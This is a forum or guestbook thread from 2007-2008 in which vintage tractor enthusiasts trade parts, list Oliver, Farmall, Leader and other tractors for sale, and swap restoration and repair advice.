Jason Muchow wrote on Tuesday, March 25, 2008 (PDT):Just bought a 56 model 55 from my father-inlaw. I got a set of three bottom plows, discs,boom pole, and a road scraping blade all for 800. The tractor runs great with no smoke and has already been converted to 12V. All it needs is a good cleaning and some TLC. No rust and everything works great. I am looking for a steering box to replace the current wore out unit in mine. Any leads would be appreciated.
Steve S wrote on Saturday, March 22, 2008 (PDT):i M LOOKING FOR OVERHAUL KIT FOR ROCK ISLAND WAUKASHA ENGINE. ANY INFORMATION WOULD BE GOOD THANKS
MIKE MATHER wrote on Tuesday, March 18, 2008 (PDT):I am I own a Super 66 diesel NF. I enjoy it very much, I am a 3rd generation owner of this tractor it is not for sale!
james wrote on Monday, March 17, 2008 (PDT):hi all you kiwis.Im an Oliver fan from christchurch and im currently restoring my grandfathers 1945 hg with 68 track width.But my gearbox operates fine but my housing is cracked badly.This is the only thing stoping me from completing it.If anyone could help me out ie where to locate another housing or if you have one for sale i would be greatfull. email me on blanchaj at lincoln.ac.nz
Andy Wilkes wrote on Monday, March 17, 2008 (PDT):I have a B275, 44 years plus old and I am still using it weekly on my paddocks. Got to do some cosmetic work and get some mud guards but absolutely sound otherwise.
Larry Te Grotenhuis wrote on Monday, March 17, 2008 (PDT):I am in the process of restoring a 1939 F-14 that was equiped with small rectangular tank that was bolted into the hood just ahead of the fuel tank. I was told this tank was filled with gasoline and the tractor was started using gasoline and then after reaching running temperature was switched to tractor fuel. Where can I get a tank and fuel line set to hook this up again
raymond huntone wrote on Thursday, March 13, 2008 (PDT):I own an Oliver 0-6hi-trac. Am intrested in parts or entire tractor . A regular OC-6 parts would be the same. My phone is #585-704-2317
Bob Persichetti wrote on Monday, March 10, 2008 (PDT):My father in-law owned a 1955 pony at his farm in Western PA. He had is pony rebuilt in 2000 converted to 12v . It has not run for the past 3 years. The engine will crank but no luck starting. Any ideas for trouble shooting or local service shop
Duane Headworth wrote on Friday, March 07, 2008 (PST):I have a 1972 IH 1066 that runs fine but looks rough. Also a smaller 50-60 HP IH i dont have the model name right now that has just 2nd gear and reverse I think it is either a 1972 or 1973. They are located near Macon GA reynolds, GA If interested, make offer on either one. I also have a 12-14ft harrow and a chisel plow. I am looking to get something newer about 50 hp or so. Duane
lee thomas wrote on Thursday, March 06, 2008 (PST):! am looking a 1939 or 1940 leader lee thomas 919-795-9714
Joe Klimek wrote on Wednesday, March 05, 2008 (PST):I am rebuilding my LA and need a set of rear rims, can anyone provide or advise me where to get them I would also like to convert my tractor an electrical start and need instruction, can anyone advise on how to proceed Thanks
Jeff Hurley wrote on Wednesday, March 05, 2008 (PST):I have a cletrac oc6 and my throttle handle assembly is stuck. I have let it sit in diesel fuel for sometime and still won t budge. If anyone has any info please e-mail me back. Thanks Jeff Hurley
Kit Rosling wrote on Tuesday, March 04, 2008 (PST):I own a 55 and recently a 55K which we are parting outto use on our running 55. We are adding the PTO and trying to add a hydraulic line with a wingle pair of remotes on the rear but am losing pressure ar the pump. Do you know where we can find parts/replacement pump for this 55
Thomas Molloy wrote on Monday, March 03, 2008 (PST):I have an oc3 and am in need of fuel tank and grill mpc1100 at bellsouth.net
jim eastham wrote on Saturday, March 01, 2008 (PST):i have an extra block,set of rear tires and wheels steering gear and front axels and wheels for the g,if anyone is interested. im in camp verde az. ph#9285679683.
jim eastham wrote on Saturday, March 01, 2008 (PST):i have an extra block,set of rear tires and wheels steering gear and front axels and wheels for the g,if anyone is interested. im in camp verde az. ph#9285679683.
Dwight Haynes wrote on Saturday, March 01, 2008 (PST):I have a 1964/2000 Offset Diesel. Ready for work or show. FOR SALE 2,500.00 If interested, call 843 -661-7029. Located in Florence, South Carolina.
lee thomas wrote on Thursday, February 28, 2008 (PST):Does anyone have a picture of a leader tractor with a ferterlizer distributor mounted on it
dennis barnette wrote on Thursday, February 28, 2008 (PST):RE Tires...H.E Miller has tires for the G, but they ain t cheap... 285.00 each for the rear plus 75.00 for the tubes I am looking for a set of cultivators please state price and location..thanks
Ken Yow wrote on Monday, February 25, 2008 (PST):I m looking for a running Super 66 NF...even an ugly one! 910.783.5833
David Paton wrote on Monday, February 25, 2008 (PST):I have an Oliver OCS or Cletrac Hg for sale Can t find serial No, can somebody tell me where to look for it Don t know what year Doesn t go, has been in our shed for 22 years awaiting restoration, but just don t have the time. Don t know whats wrong with it, wasn t going when I bought it Anybody interested in purchasing it We are in Queensland, Australia Phone 61 7 4698 4743
kendall wrote on Sunday, February 24, 2008 (PST):looking for IH with bad motor 06-66. i live in northwest iowa
mike wrote on Sunday, February 24, 2008 (PST):I just aquired a 1944 Case SC and in the process of restoring it,I have recieved alot of help from Rusty Acre and now will be dealing with Tractor Shed. Good luck you guys
Mark Baker Springville,In wrote on Sunday, February 24, 2008 (PST):Have a 41 B John Deere my dad bought in 65.ser#B105182 I would like to know if anybody could tell me where it was shipped new and who bought it. Plus any other information. THANKS
dave langworthy wrote on Saturday, February 23, 2008 (PST):I was given a W4 tractor because they couldn t get the starter off. I had to go to Canada for it. When I got it home my son and I took the bolts out of the belt pully housing slid it back a 1/2 inch and the starter came right off. I put a new spring in the starter installed it and drove the tracter off the trailer.
jason marks wrote on Saturday, February 23, 2008 (PST):my dad has a 770 he bought 30 years ago at an auction. over the years we did everything short of restoring it. Henri i think your clutch problem could be because of a leaky rear main seal, because we found that when engine oil gets onto the clutch it becomes very sticky, especially when hot. and if anyone has trouble with rear end whine, it could be worn bearings, but it still would be safer to change the gear oil more often and also check your trans cover seals as well as the gear shift boot, because this allows water to get in and thus increase transmission wear. we use 80-90 gear lube in our tractors, but heavier or even synthetic oil will help as well.
Bill Doyle wrote on Thursday, February 21, 2008 (PST):I m restoring it. I need a lift assy. for a l949 Cub cultivator. Consist of a spring, a rod to attach the tee bar and lift the rear cultivator. Can anyone help
James Bullock wrote on Tuesday, February 19, 2008 (PST):I have a 1964 super Dexta. I ve owned it since 1980. My fatherpin-law had it before me. I will say that pound for pound it has been one tough tractor. They are great workers if you don t mind no power steering, tough cold wheather starts, and oil drips. I ve replace seals twice and still have small leaks. This tractor at 39 horsepower will do the work of some 50 horsepower tractors. I love mine. Now in process of restoring.
Sean Connolly wrote on Tuesday, February 19, 2008 (PST):I have a a super dexta model but with a normal dexta engine. i dont no much bout it can ya help me out. iv had 2 people asking to buy it but i dont no what its worth. its running and not in terrible condition but its not in great condition eiter. any 1 who can help me out please do thanks
Ronald Frye wrote on Monday, February 18, 2008 (PST):I would like to answer an ad that Ryan Ratzlaff wrote in regarding TD18 parts. I have parts for this dozer and would like to get ahold of Ryan. Can you please have him e-mail me. Thanks
alberto noruega wrote on Monday, February 18, 2008 (PST):necesyto saber sy ahy respuestos para tractor oliver modelo 1650 ysaber el diametro del piston
Chad Brehmer wrote on Sunday, February 17, 2008 (PST): I really would like to find a wards row crop tractor. I had two of them when I was 15years old, they were the first tractors I ever restored, and dad sold them one week later. If anybody could help me find one to restore that would be great. thanks
johnny ezell wrote on Saturday, February 16, 2008 (PST):looking to by a 1937-1948 oliver orchard to restore hope to fine a oliver 880 orchard diesel
john huff wrote on Thursday, February 14, 2008 (PST):I own a d-15series11 with a allis loader .it is the greatest plowing snow with this old gal
lcurtis wrote on Monday, February 11, 2008 (PST):I have a 54 Fordson Major Diesel and it tries to run when I hit it with starter fluid but acts like it is starving for fuel. I primed it and when it cranks there is fuel at the injectors. Any suggestions to get it running
Daniel J Palmer wrote on Saturday, February 09, 2008 (PST):Our farm still has an oliver oc3 42 Its in good running condition and we still use it
Josh Bradberry wrote on Friday, February 08, 2008 (PST):What is the price,condition,and location of this tractor
Josh Bradberry wrote on Friday, February 08, 2008 (PST):Is this tractor for sale
davediiest wrote on Thursday, February 07, 2008 (PST):learn how to spell
paul thompson wrote on Wednesday, February 06, 2008 (PST):I have 2 leader tractors which are complete both needs restoring --would sell one or both please inquire by phone 731-695-4624
Brant wrote on Tuesday, February 05, 2008 (PST):Looking for a real nice 1466 with fenders I live in Michigan anyone close who would like to sell b
j.settles wrote on Sunday, February 03, 2008 (PST):lookin for w9 or w6 for restoration any condition considered. located in centeral indiana. closer the better but we ll go any were for the right deal. email with info on w9 s in the weeds please
stevon hanson wrote on Friday, February 01, 2008 (PST):i would like to buy the 1800 dis and wide front end pleas c calll 712 623 1078 leav mess thank you
Kevin Lenfant wrote on Thursday, January 31, 2008 (PST):Have 80 in rough shape but runs with a pull. Looking to sell. Located north of Clearbrook Minnesota. Need input as to what this might be worth in present condition.
Chris Edy wrote on Sunday, January 27, 2008 (PST):Information Needed; I have a IH T20 The left steering lever will not put the left track in Idel Somtimes it will work but mostly not Does anyone have a sujestion It seems to be sticking
Donald Duinlap wrote on Friday, January 25, 2008 (PST):Will buy a D10. Contact Donald Dunlap,812 273 2364.
Art Jette wrote on Thursday, January 24, 2008 (PST):I have a 1951 M that my grandfather had owned. My uncle drove into the bench mounted vise in the garage years ago and bent the grille. The real damage occurred when he tried to hammer it out. I d really like to find a replacement grille. If anyone can help me, please call collect 207.277.3518
Don Hamill wrote on Monday, January 21, 2008 (PST):I would trade an untyled John Deere A , round spokes, nice tractor for an Oliver Super 44 with hydralics. Don Cell 214-202-1701
Geary Blackwood wrote on Thursday, January 17, 2008 (PST): Want to purchase a leader tractor that is in good condition or has been restored. Please call 919-624-9800
Joe wrote on Wednesday, January 16, 2008 (PST):I am looking for a block or motor for my Allis Chalmers G.
JEREMY OWENS wrote on Tuesday, January 15, 2008 (PST):Hi,I m looking for a good close up picture that is readable of a port huron steam engine logo.If you could email me one I would really appriciate it.Thank you.
johnny b. wrote on Tuesday, January 15, 2008 (PST):just bought a dexta tring to find out what year it is ,its blue and with orange rims and grill.i found some #s on back of motor 09b702626 on left side on right side 957e7005t3 anybody know what i have bought please tell me thanks
J.B, Bailey wrote on Sunday, January 13, 2008 (PST):I own and use a D-15 series II almost every week. Grew up around Allis s . Don t think a better tractor has ever been built.
Roy Hudson wrote on Saturday, January 12, 2008 (PST):My Dad had a super 44 bought new in 1959 we pulled 2/12 inch bottom plows easy. We sold it at aution in 1995 still running.
This is to chris bennett wrote on Friday, January 11, 2008 (PST): I am owner of an Ixb5 series Leader tracto. An I know how hard it to find parts for then. An as for selling it, LETS PUT IT THIS WAY. iF i HAD TO MAKE A CHOICE BETWEEN MY WIFE AND THE LEADER. THE LEADER WOULD PROBABLY WIN..... Chris do you have a list of the parts you have, as they are hard to come by. I would appreciate a copy , even if I had to donate to you . I am sure other owners would a copy also.. waiting to hear from you
Donald Dunlap wrote on Wednesday, January 02, 2008 (PST):need rear wheel for d12
Andy Johnson wrote on Tuesday, January 01, 2008 (PST):I operated a 1900 Oliver with dual wheels and cab for my father. It was a powerful tractor for its time. I am trying to remember how many feet of chisel plow we pulled and think it may have been about 18 to 19 feet. There was also some kind of automatic depth setter that a neighbor predicted would quit working he was right . Now I would like to find a 1;16 tractor in this configuration so I cann wallow around in nostalgic memories. Andy Johnson
Brian Myers wrote on Monday, December 31, 2007 (PST):I have a Pony for sale that has been completely restored. It has a hydrolic lift, plow, mower, and cultivators. You can email me at big44 at socket.net
Bill Bowyer wrote on Monday, December 31, 2007 (PST):I have an Oliver super 44 in working condition will sell.
Doug.Hendricks wrote on Sunday, December 30, 2007 (PST):Have 2150 fwa for sale about 900 hours since rebuilt motor.Phone number 503-769-3929.
Edward Decker wrote on Sunday, December 30, 2007 (PST):It s good to see this site for Pony owners. I used to own one myself. It was a 1949, in great shape. Bought it in 1997, restored it, used it for 7 years equiped with a snowplow. I also ran a hydraulic wood splitter from it, and a Thomas Watson #1 rock crusher. It worked like a charm. You know what The only problem I had in 7 years was with the distributer getting damp and causing misfiring when the engine was cold Despite having all NEW Distributer cap, rotor, wires and plugs Yea...as you would probably guess, I realy miss that old pony...You know, if I had my time back, I wouldn t have sold it. I found some pictures from the restoration, and the more I look at them, I want to track it down and buy it back, if they re willing sell....Anyway, if anybody reads this and they are thinking about selling their own pony, stop and think first how life will be without it. Cheers!
Pat Loughlin wrote on Sunday, December 30, 2007 (PST):I m looking for a nice 220 to restore,willing to trade 62 chevy pickup in deal.
Tom York wrote on Friday, December 28, 2007 (PST):I have a great super 55 diesel that needs a hood. Anyone know a source for sheet metal Thanks.
Carl Schierloh wrote on Friday, December 28, 2007 (PST): iI am tring to buy a oliver 44 or 440 Send imformation to Carl Sahierloh at Bright.Net
carl Schierloh wrote on Friday, December 28, 2007 (PST): Im looking for a oliver44 or 440
Rick wrote on Wednesday, December 26, 2007 (PST):I have recently purchased an HD5 with an after market dozer. The motor is in need of repair and also needs steering clutch repairs. I am looking for parts or would consider selling unit.
Jim Alger wrote on Monday, December 24, 2007 (PST): terry glasbrenner I have one of the emblems you are looking for if you can find one the same size that says INTERNATIONAL to trade must be in good shape thanks for your help
Dave Anderson wrote on Monday, December 24, 2007 (PST):I have a 1952 MC. I am looking for steering cluches. I would also lick to find a engine model MC or 40
Mike wrote on Sunday, December 23, 2007 (PST):I have at-20 and a friend installed a fly wheel and starter that works great. It s called the Mobaum starter system.
Rod Eldred wrote on Sunday, December 23, 2007 (PST):I currently have a 1967 D-15 Series II Which I m wanting to restore. The only thing that s holding me back are rear fenders. The tractor is all original and runs great. Please write me back if you have any leads. I would like to complete this project for my great uncle, from whom I bought it from, He bought it new, he s 90.
terry glasbrenner wrote on Saturday, December 22, 2007 (PST):I am trying to complete restoring my O-14 , need to locate stamped Mc Cormick Deering radiator emblem. This mounts directly to top tank. Thanks for any response.
Harold Dalton wrote on Thursday, December 20, 2007 (PST):have a 1957 HD3 new motor owner s and service manuel tractor is in better than average shape changed hobbys would like to sell
Chris bennett wrote on Monday, December 17, 2007 (PST):I have leader parts for sale rear ends trans rims etc...let me know what you need..merryxmas!!
James Cunningham wrote on Monday, December 17, 2007 (PST):If you still have the 1937 F20 Farmall that you listed in September 2007, I would like to ask some questions about it and would also like to know where you are located. You can contact me by phone at 903-577-8065. Thank you.
Randy wrote on Saturday, December 15, 2007 (PST):I just bought a JD 3010 gas tractor. I am in the process of restoring it. While sandblasting the rear tire rim a rusted spot became a hole. Does anyone know how I can repair the rim or find a new one Thanks
dromonedog wrote on Friday, December 14, 2007 (PST):Does anyone know where to tract the serial numbers of MF98 in relation to the year they were built and what is the drawbar horsepower rating on them
mark sheets wrote on Thursday, December 13, 2007 (PST):I just bought back a 1959 Oliver 880 Propane that I owned from 1980-1987. Does anyone know how many of the 880 LP s were made How about a 1650 and 1850 LP model, I also have interest in one of each of them. thanks
gus wrote on Thursday, December 13, 2007 (PST):Hi Guy s,just wondered if anyone could run through the wiring procedure of a dexta lever operated starter Cheers.
charles h petrie wrote on Wednesday, December 12, 2007 (PST):am looking for the two piece brake shoes for my 49d leader tractor,or where i can have some made got a sample to go by thanks chuck
Eric wrote on Wednesday, December 12, 2007 (PST):My wife and I bought a fordson major diesel about 1.5 year ago from her grandmother. we recently had a tire on the rear of it go flat and to dry rotted to fix the size on it was 13.6-38 and used truck tires on the front size 215-85-16 we were wondering if this it the right size for it. While we have the tires off of it we are having the rims sandblasted so we can repaint them, we were also wondering what is the correct color of paint for the rims on this tractor What is the correct color of blue for the tin work The closest year that I have been able to come up with is 1954, but if you have any good idea of how to find out the actual year or where I can find the numbers to figure it out I would appreciate it. The tractor also had a loader on it that we are not going to put it back on for hopes of someday restoring it in the future. We are located in Illinois Thanks for your help.
Mike Smith wrote on Tuesday, December 11, 2007 (PST):I have a super 55 diesel I turns over with the starter and that is all I really no about it I just dont have the time I was going to resore it. I am going to sell it I am located in Wisconsin. 608 295-9060
E. Morgan wrote on Sunday, December 09, 2007 (PST):I have an elderly friend who has an F12 1938 with steel wheels, a cultivator, and a sickle bar to sell, but we need to know the going prices. The tractor ran a few years ago and was used occassionally by her husband. It starts with a hand crank. Any help in getting it priced would be appreciated. Dec. 9, 2007
Richard Coulter wrote on Sunday, December 09, 2007 (PST):On the silver king web sitethere are two silver king tractor brochures displayed The lower or second displays a 3 wheel model with only horizontal structure in the grill. when did this manufacturing change take place What significance is this in determining the year and model. i am woking from a picture only and do not have the serial number. can you help me determine the age of my father s silver King in my picture
Cody Sheppard wrote on Monday, December 03, 2007 (PST):I am looking for a Sheppard Diesel Tractor and would be interested in the sign Mr Dorty Please Call 512-734-0303
Josh Wilson wrote on Saturday, December 01, 2007 (PST):My Oliver 70 only has a four speed trans in it. I m told that this tractor came on steel. I wondered if the trans was missing the two higher gears or if they were just locked out.
Fred Helmuth wrote on Saturday, December 01, 2007 (PST):I am interested in purchaseing a super 44..call me on my cell at 217 246 6124 Thanks Fred
Duane Eleson wrote on Saturday, December 01, 2007 (PST):I have a Model K Allis crawler . No blade but hydraulics added to pull farm equipment. Not sure of the year or serial number , but if you contact me i can find out. Will sell if I can receive reasonable offer.
Mike Bahr wrote on Friday, November 30, 2007 (PST):Anyone know where I can locate a cheep set of fenders for a 1952 Super M with Double tires Also looking for a T6 International Dozer, for parts or in running shape. 218-242-1698 Thanks
Robert Peter wrote on Thursday, November 29, 2007 (PST):I am restoring A td-35. Is there anyone who is reproducing seat cushions, and arm rests I don t have any seat springs or frames left. Also is the imput shaft on the transmission the same on a td-35 and t-40 Also is the color the same as the td-6 series
Robert Peter wrote on Thursday, November 29, 2007 (PST):I am restoring A td-35. Is there anyone who is reproducing seat cushions, and arm rests I don t have any seat springs or frames left. Also is the imput shaft on the transmission the same on a td-35 and t-40
D jerry wrote on Thursday, November 29, 2007 (PST):looking for a used or new crankshaft for a D15 gas. Anyone know where a good buy could be found.
Woody wrote on Wednesday, November 28, 2007 (PST):Looking for rebuild kit for Allis Chalmers # 5015. Perkins 3 cyl. deisel. Serial #9518-4068 Thanks
Henri Naths wrote on Tuesday, November 27, 2007 (PST):HI I have a 1962 770 diesel I think I need to redo / replace the clutch as it is adjusted all the way and still grabs. Has anybody done this and can give me some hint. Any information would be appreciated.
Brandon Decker wrote on Monday, November 26, 2007 (PST):i need a oliver 99 any shape cheep
Brandon Decker wrote on Monday, November 26, 2007 (PST):i need a oliver 99 any shape cheep
Matt Dorty wrote on Monday, November 26, 2007 (PST):I have an original Sheppard Diesel sign that hung in front of George Dorty s store. He used to sell Sheppard s in the day. I was wondering what it would be worth. Thanks Matt
Ken Sundblad wrote on Friday, November 23, 2007 (PST):I have a 20-35 and am wondering what the value is.
Joe Fox wrote on Wednesday, November 21, 2007 (PST):I would like to purchase 55 massey harris tractor. I live in Ohio. My collection now includes a MH Pony,20,101jr.33, and a 44-6. I have always liked MH tractors.
Joe Fox wrote on Wednesday, November 21, 2007 (PST):I would like to purchase 55 massey harris tractor. I live in Ohio. My collection now includes a MH Pony,20,101jr.33, and a 44-6. I have always liked MH tractors.
Tony wrote on Tuesday, November 20, 2007 (PST):My grandfather had a 1948 cub international that he purchased new for 807.65. The model # was fcub 14844. When he passed away in 1972, my dad sold the tractor and it is something he has regretted doing ever since. Does anyone know how I might be able to locate this tractor if it still exists or where I might be able to purchase one for my dad. Thanks, Tony
Tony wrote on Tuesday, November 20, 2007 (PST):My grandfather had a 1948 cub international that he purchased new for 807.65. The model # was fcub 14844. When he passed away in 1972, my dad sold the tractor and it is something he has regretted doing ever since. Does anyone know how I might be able to locate this tractor if it still exists or where I might be able to purchase one for my dad. Thanks, Tony
Terry H wrote on Monday, November 19, 2007 (PST):Looking for an Oliver 990,super 99, or a massey ferguson 98 in resonable running condition
Alan wrote on Saturday, November 17, 2007 (PST):OH and feel free to write me and ask questions harwooda at charter.net
Alan wrote on Saturday, November 17, 2007 (PST):I have a massey 98 currently under restoration. I grew up on this tractor. My dad bought it in 1970 and we repaired it and farmed with it for about 25 years. in St.John Washington. I also have a Model R John Deere that is about 90 % restored. Dad bought that one in 1969 and it has been in almost constant use until 3 years ago when I restored it
Ron wrote on Saturday, November 17, 2007 (PST):There is a 1917 - 1919 MC Samson Sieve Grip sales Booklet/Brochure for sale on ebay, its original and very nice...if interested its there.
Bryan Lloyd wrote on Friday, November 16, 2007 (PST):I have a 1952 Cockshutt 40 with the budda 6 cyl gas, has a leaking head gasket and wouyld like to rebuild it next year assuming it survives the winter doing snowplowing, any info on where to find a rebuild kit for this machine would be greatly appreciated
kendall wrote on Wednesday, November 14, 2007 (PST):looking for a 1256, 1456, 856 with turbo, 966, 1066, 1466, 966, and 766 with bad motor. manly on the 766 for a feed wagon tractor have motor for it. 1256 1456 856t 1066 1466 966 looking to fix up and have around the farm short on tractors. all 66s can have bad motors and in ok shape ta s can be out and cluthces to may consiter on with bad rearend. dad is sick of me barowin his tractors. started farmin and need one more for manly just abou any job. ps will look at 06es to
Clint Thilking wrote on Wednesday, November 14, 2007 (PST):Everyone is talkin about the 10 which my dad owns we do all of our balein with it and field croppin, my favorite IH has to be the 656 we have 2, Run like a deer huh wat they runnin from oh yeah CASE IH!!!!!!!!!!!!!!!!
Kelli Siegman wrote on Wednesday, November 14, 2007 (PST):This is a nice tractor and my daddy wants to get one real bad! This D21 is in real good shape and he might like it for Christmas. Thanks and have a good day! Love Kelli
Timmy A Williams wrote on Tuesday, November 13, 2007 (PST):My son has a 770 with a super 88 diesel motor .I need to know the length an wheel base of each tractor, Please HELP
david spangler wrote on Tuesday, November 13, 2007 (PST):i luv internationals, they are tuff tractors i have a 1466 turbo, IT S AWSOME!!!!!!
david spangler wrote on Tuesday, November 13, 2007 (PST):i luv internationals, they are tuff tractors i have a 1466 turbo, IT S AWSOME!!!!!!
Dianne Clawson wrote on Sunday, November 11, 2007 (PST):I have two tractors Farmall A and Farmall located in a small town in south Arkansas. I cannot find a serial number and don t know what year they were built. They re both garage kept. Can anyone help me find out how much they re worth I have digital photos. Any help would be greatly appreciated.
Eric Larson wrote on Friday, November 09, 2007 (PST):Jake, I work in the paper industry and the maintenance department has over the years recommended using Aero-Kroil for unsticking anything. This is a product you can buy at most local hardware stores for around 5.00. This oil will penetrate into areas 1/1,000,000th of and inch. I have used it on frozen head bolt studs when nothing else would budge them. I sprayed this on and let it sit for a half hour and the frozen stud came out with ease. Try it you ll like the results.
joel meilleur wrote on Thursday, November 08, 2007 (PST):hi guys! i would need a starter for my oliver oc3-42, anyone could help me to find it thks in advance !!!
Mike Bocchicchia wrote on Monday, November 05, 2007 (PST):I just aquired a 1948 AC G. It runs but the tires are dry rot. I need to replace them and was wondering if anyone can direct me to a place where I can get tires. I m very new to the tractor scene. Any help would be greatly appreciated. I m planning on restoring it as well.
jerome johnson wrote on Sunday, November 04, 2007 (PST):this is the best IH I have ever seen, even better that the biggest quad track. I would pay a few hundred thousand dollars for it!!!!!!!!!!! if i wanted to get a bad tractor
jerome johnson wrote on Sunday, November 04, 2007 (PST):this is the best IH I have ever seen, even better that the biggest quad track. I would pay a few hundred thousand dollars for it!!!!!!!!!!! if i wanted to get a bad tractor
Jerry wrote on Saturday, November 03, 2007 (PST): Have a WD45 and need Information and parts location for the Hydroliac pump for the lift and any other information on how to overhaul any info will be appreaceated
Ben wrote on Thursday, November 01, 2007 (PST):I have a Fordson Major Diesel just like the one in the photograph but with a front end loader. It is a 4 cyl. Just wondering exactly when it would have been built 1959 and how much horsepower would it have . Am located in north western Ontario, Canada
southern british columbia canada. wrote on Tuesday, October 30, 2007 (PST):OC-3 crawlers-have two with parts, also Cletrac HG with Ware brand loader. Looking to see anybodies info on wether or not a restoe is affordable. Can t find generator parts.
justin mccain wrote on Tuesday, October 30, 2007 (PST):any idea where i can find an AC WD45 close to kentucky possibly tricycle type
Robert Edwards wrote on Monday, October 29, 2007 (PST):I will sell parts off these 5 tractors. 252-478-4178
clarence wimberley wrote on Monday, October 29, 2007 (PST): where can i get complete power take off for super 44 oliver tractor .
Allan Docherty wrote on Monday, October 29, 2007 (PST):I rebuilt and sold a D that was on steel wheels loved that tractor . I am now redoing a 1948 D to replace it but I need steel front wheels . I am doing it unstyled so I have parts to trade or sell if any onehas a spare set of front wheels , Thank You .
Bob Olson wrote on Sunday, October 28, 2007 (PST):I have a 5-10 Avery.1918 in perfect running condition.my dad bought it in 1955 saved it from going for scrap gave it to me for my 12th birthday ,so if my math is correct i ve had it for 52 years , been to many shows here in British Columbia and have not seen another one running . there is one at the fort langley ,machinery museum but is in poor shape , engine cracked and parts missing. I also saw one at Brooks,Oregon that looks like the one in the photo but is un restored.mine is a bit different than the one shown .it has the seat on a swivel,aft of the rear axle, three speed transmission,magneto ignition.I have gathered a bit of literature over the years and one catalog shows a picture that looks like mine.It s NOT for sale but I have wondered if any appraisals have ever been done or does anyone know what others have sold for.I will get a photo posted soon when my kids show me how . capt.Bob Olson
Leonard Aulner wrote on Sunday, October 28, 2007 (PST):In regard to Tim Bruce statement of Lehr Big Boy - everything is as you say. I believe our neighbors still have a Lehr Big Boy. If you notice the picture above I believe it reads Coop on the side and down the front it looks like Lehr ... It was built like you say from truck parts due to the scarity of parts and materials during the World War. It s claim to fame was that it could travel 35 miles an hour in road gear.
Bill Vander Heyden wrote on Sunday, October 28, 2007 (PST):I have a utility 300 which has a torque amplifier transmission. With the amplifier engaged, handel back the tractor occasionally will loose power to the wheels and has a noise from the transmission. I m thinking it s the over-running clutch causing the problem. Anyone have any thoughts on this Should this be the problem, where can I find the parts to repair it, or does someone have what I need.
Kris Massey wrote on Sunday, October 28, 2007 (PST):I got a hold of a 1959 881 sos for free!! Guy told me that the trans was bad but everything else works. I got it home did a tune-up on the engine and rebuilt the carb. Engin runs great but like the guy said bad trans, or was it I found the main pressure supply tube to the valve body was broke and the strut to band #1 was in the bottom of the trans. After tig welding the tube back together since they are no longer availble and adjusted the bands I still couldn t get the old beast to move. I could hear all of the servo s working and the three planetary gear sets working as I would shift through the speeds. So I decided to remove the axel coupling access cover and found that the lever on the panel was not in contact with the coupling. So I repaired that and put the tractor back together and was able to drive the tractor out of the garage and around the yard. Thats all I could since I had to put the rest of the tractor back together, but just the trip around the farm was a great ride. Now I have a New Holland tractor as well but having an old vintage tractor for free is awesome!!! I love my 881!!
Gary L. Roderick wrote on Sunday, October 28, 2007 (PST):I have come across an Internatioal Model 125 C crawler and need to find out more about it. year it was made, where I can get an oweners manuall, how much it weighs, etc.
kyle walters aka JD kid 88 wrote on Saturday, October 27, 2007 (PDT):We also have 10 antique engines.
kyle walters aka JD kid 88 wrote on Saturday, October 27, 2007 (PDT):We also have 10 antique engines.
kyle walters aka JD kid 88 wrote on Saturday, October 27, 2007 (PDT):We also have 10 antique engines.
JD kid 88 wrote on Saturday, October 27, 2007 (PDT):I am 12 and i have been in antique shows for 10 years and my grandpa nad i just finished restoring our 1934 JD d.
Kim Cotham wrote on Saturday, October 27, 2007 (PDT):I would like to purchase a SAMSON seat.
Ross wrote on Saturday, October 27, 2007 (PDT):I own a 66 oliver 770, and my rear end also wines, espically when im going down the road, do they all do that or is something wrong
gary holtman wrote on Saturday, October 27, 2007 (PDT):My dad bought an F 14 new in 1939. He passed away in 1977.My older brother got the tractor, but, never did anything with it. He let me have it two months ago. I drove the sleeves out with a sledge hammer, decided they looked a lot like C Farmall sleeves. I had a new set of them already. I had to machine .040 off the bottom end and purchased new O rings from Columbus Rubber and gasket Columbus, Mississippi . My son came by yesterday and, after a few turns of the crank, it fired up and ran perfect. I only had to clean the points on the magneto. The spark plugs are one inch national fine bolt size, so, I was able to clean the threads there with atap. I put new bearings in the governor. The main and rod bearings are the same part number as the C I put new tires on this week, 4;00 X 15 on the front, 11.2 X 38 on the rear. It came out new in Nebraska Norfolk with dual tires on the rear. They were replaced with 40 inch singles in 1947. One of my brothers borrowed the tires about 50 years ago and put his F 12 steel wheels on it. They were still on it when I got it, but, my brother gave me a set of H wheels and rims which are 38 . I ve got the tractor repainted now, looking like a pin up I left the little modifications that Daddy made on it, since this was Daddy s tractor, not a purchase from some else. I got the front mounted cultivator with it and hope to get the front mounted buzz saw. By the way, this tractor came out with a road gear and a foot brake along with the hand brakes. While this is still freash on my mind, I ll be glad to help anyone.
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elmer kaiser wrote on Friday, October 26, 2007 (PDT):Looking for a Ferguson trip bucket loader to put on a TO 35 Ferguson. Located in Wisconsin.
phillip wrote on Friday, October 26, 2007 (PDT):try Marvel Mystery Oil for stuck pistons.
Robert Edwards wrote on Thursday, October 25, 2007 (PDT):I have 5 WD and WD45 junk tractors and I would sell all for 2500.00, probably could put 3 together with motor rebuilds.
Dick Berube wrote on Thursday, October 25, 2007 (PDT):I have aquired a 1925 model t with a Shaw Conversion. It will soon be on display at the owls head museum in Owls Head Maine.
Nancy wrote on Wednesday, October 24, 2007 (PDT):have a wd rowcrop tin /tires good what may it be worth
jimmy pilkey wrote on Tuesday, October 23, 2007 (PDT):we are loading our international 300onto a barge we are wondering about what it weighs
Jake wrote on Tuesday, October 23, 2007 (PDT):I have a super c but the pistons are stuck bad. I tried Coca-Cola but it didnt work any one know how to get them unstuck
Monica Decker wrote on Tuesday, October 23, 2007 (PDT):I am seeking a narrow or wide front end for a Cockshutt 35 Blackhawk. Thank you for any help you can provide!
Lawrence M. Skidmore wrote on Monday, October 22, 2007 (PDT):I found an American Tractor Equipment Corp tracted, bulldozer type, front loader with Willys engine and drive. Where can I find information and value. I want to buy and restore. I was told it s a 1934. Don t know anything about them; I m a willys jeep man. Help!
Dennis Wiolkinson wrote on Monday, October 22, 2007 (PDT):I have several Lindeman crawlers for sale along with quite a few spare parts. I want to see them restored and shown. call 541-963-0139
tim moreland wrote on Sunday, October 21, 2007 (PDT):We bought a 1955, model 55 oliver gas about 5 years ago. Its a great tractor and well ahead of its time comparing to other tractors from that time, but I use it weekly to clean out the barn, and the lack of power steering the tractors not mine is getting old. I was looking at a newer tractor, and was considering a price for my tractor, but cant find anyone in my area with any Oliver knowledge. Could anyone help with that problem
Carter wrote on Sunday, October 21, 2007 (PDT):O.B.O.
Garry Hanson wrote on Sunday, October 21, 2007 (PDT):jphn, I would like to buy your 15-30 McCormick! im wondering how much do u want for it Garry Hanson
